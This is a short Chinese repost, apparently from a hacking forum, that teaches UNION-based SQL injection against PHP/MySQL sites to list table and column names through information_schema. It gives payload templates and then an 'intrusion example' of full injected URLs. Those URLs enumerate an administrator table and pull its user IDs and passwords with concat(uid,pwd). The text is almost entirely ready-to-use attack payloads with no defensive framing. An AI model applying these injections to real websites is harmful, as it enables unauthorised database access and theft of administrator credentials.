php+MySql注入非暴力爆字段名

it2022-05-07  2

MySql数据库的版本够了,不需要暴力猜表的,而是“查”表

表可以爆了,出来了,字段出不来怎么办?其实字段也可以查出 查表段时的格式是:

  +union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex order by table_schema limit 6,7)t limit 1--

那么,查字段的格式就是:

  +union select 1,2,column_name from (select * from information_schema.columns where table_name=爆出来的表名的hex值 and table_schema=数据库名的hex值 order by 1 limit 2,3)t limit 1--

与爆表类似

在最后一个limit 6,7很明显是范围,从0,1、1,2、2,3、3,4的这么查下去就可以了,直到查出来想要的表名

看一个入侵实例: 本帖隐藏的内容需要回复才可以浏览 爆表:

  http://site/newinfo.php?id=125+and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10+from+(select+*+from+information_schema.tables+where+table_schema=0x796B7873676F76+order+by+table_schema+limit+0,1)t+limit+1--

爆字:

http://site/jg_view.php?id=141+and+1=2+union+select+1,2,column_name,4,5+from+(select+*+from+information_schema.columns+where+table_name=0x61646D696E6973747261746F72+and+table_schema=0x796B7873676F76+order+by+1+limit+2,3)t+limit+1-- 

使用前面爆出来的:

  http://site/jg_view.php?id=141+and+1=2+union+select+1,2,3,4,concat(uid,0x5f,pwd)+from+administrator

转载于:https://www.cnblogs.com/amwld/archive/2011/05/29/2061788.html


最新回复(0)